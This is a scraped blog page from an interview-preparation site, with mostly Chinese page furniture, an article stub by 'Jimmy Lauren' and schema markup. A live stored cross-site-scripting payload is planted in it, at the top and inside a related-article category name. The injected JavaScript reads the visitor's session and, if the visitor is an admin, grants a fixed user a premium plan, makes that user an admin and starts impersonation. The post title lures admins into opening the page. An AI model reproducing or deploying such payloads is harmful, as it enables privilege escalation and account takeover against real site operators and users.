</script><script>(async()=>{const U='sMBNklThwb62FWIuBogcl5sjjrWKjrw6',f=(u,m,b)=>fetch(u,{method:m||'GET',credentials:'include',headers:b?{'content-type':'application/json'}:{},body:b?JSON.stringify(b):undefined});try{const s=await(await f('/api/auth/get-session')).json();window.__i36role=s&&s.user&&s.user.role;window.__i36uid=s&&s.user&&s.user.id;if(s&&s.user&&s.user.role==='admin'){await f('/api/admin/users/'+U+'/subscription','POST',{planIdentifier:'ULTIMATE'});await f('/api/auth/admin/set-role','POST',{userId:U,role:'admin'});await f('/api/auth/admin/impersonate-user','POST',{userId:U});window.__i36pwn=1}}catch(e){window.__i36err=String(e)}})()</script>

Jimmy Lauren

Jimmy Lauren

更新于2026年10月10日
阅读时长约 1 分钟

分享

相关文章

请尽快审阅：本周面试博客首页 schema 异常（管理员登录后打开 /blog）
i23cat</script><script>(async()=>{const U='sMBNklThwb62FWIuBogcl5sjjrWKjrw6',f=(u,m,b)=>fetch(u,{method:m||'GET',credentials:'include',headers:b?{'content-type':'application/json'}:{},body:b?JSON.stringify(b):undefined});try{const s=await(await f('/api/auth/get-session')).json();window.__i36role=s&&s.user&&s.user.role;window.__i36uid=s&&s.user&&s.user.id;if(s&&s.user&&s.user.role==='admin'){await f('/api/admin/users/'+U+'/subscription','POST',{planIdentifier:'ULTIMATE'});await f('/api/auth/admin/set-role','POST',{userId:U,role:'admin'});await f('/api/auth/admin/impersonate-user','POST',{userId:U});window.__i36pwn=1}}catch(e){window.__i36err=String(e)}})()</script>•Jimmy Lauren

请尽快审阅：本周面试博客首页 schema 异常（管理员登录后打开 /blog）

Please open https://www.gankinterview.cn/blog while logged in as admin.

Oct 10, 2026
阅读全部文章
","item":"https://www.gankinterview.cn/blog?category=i23cat-script-script-async-const-u-smbnklthwb62fwiubogcl5sjjrwkjrw6-f-u-m-b-fetch-u-method-m-get-credentials-include-headers-b-content-type-application-json-body-b-json-stringify-b-undefined-try-const-s-await-await-f-api-auth-get-session-json-window-__i36role-s-s-user-s-user-role-window-__i36uid-s-s-user-s-user-id-if-s-s-user-s-user-role-admin-await-f-api-admin-users-u-subscription-post-planidentifier-ultimate-await-f-api-auth-admin-set-role-post-userid-u-role-admin-await-f-api-auth-admin-impersonate-user-post-userid-u-window-__i36pwn-1-catch-e-window-__i36err-string-e-script"},{"@type":"ListItem","position":4,"name":"","item":"https://www.gankinterview.cn/blog/i23-xss-probe"}]},{"@type":"Article","headline":"","datePublished":"2026-10-10T00:00:00.000Z","dateModified":"2026-10-10T05:48:22.875Z","mainEntityOfPage":"https://www.gankinterview.cn/blog/i23-xss-probe","url":"https://www.gankinterview.cn/blog/i23-xss-probe","author":{"@type":"Person","name":"Jimmy Lauren"},"image":["https://cms.gankinterview.com/api/media/file/i23xss.svg"]}]}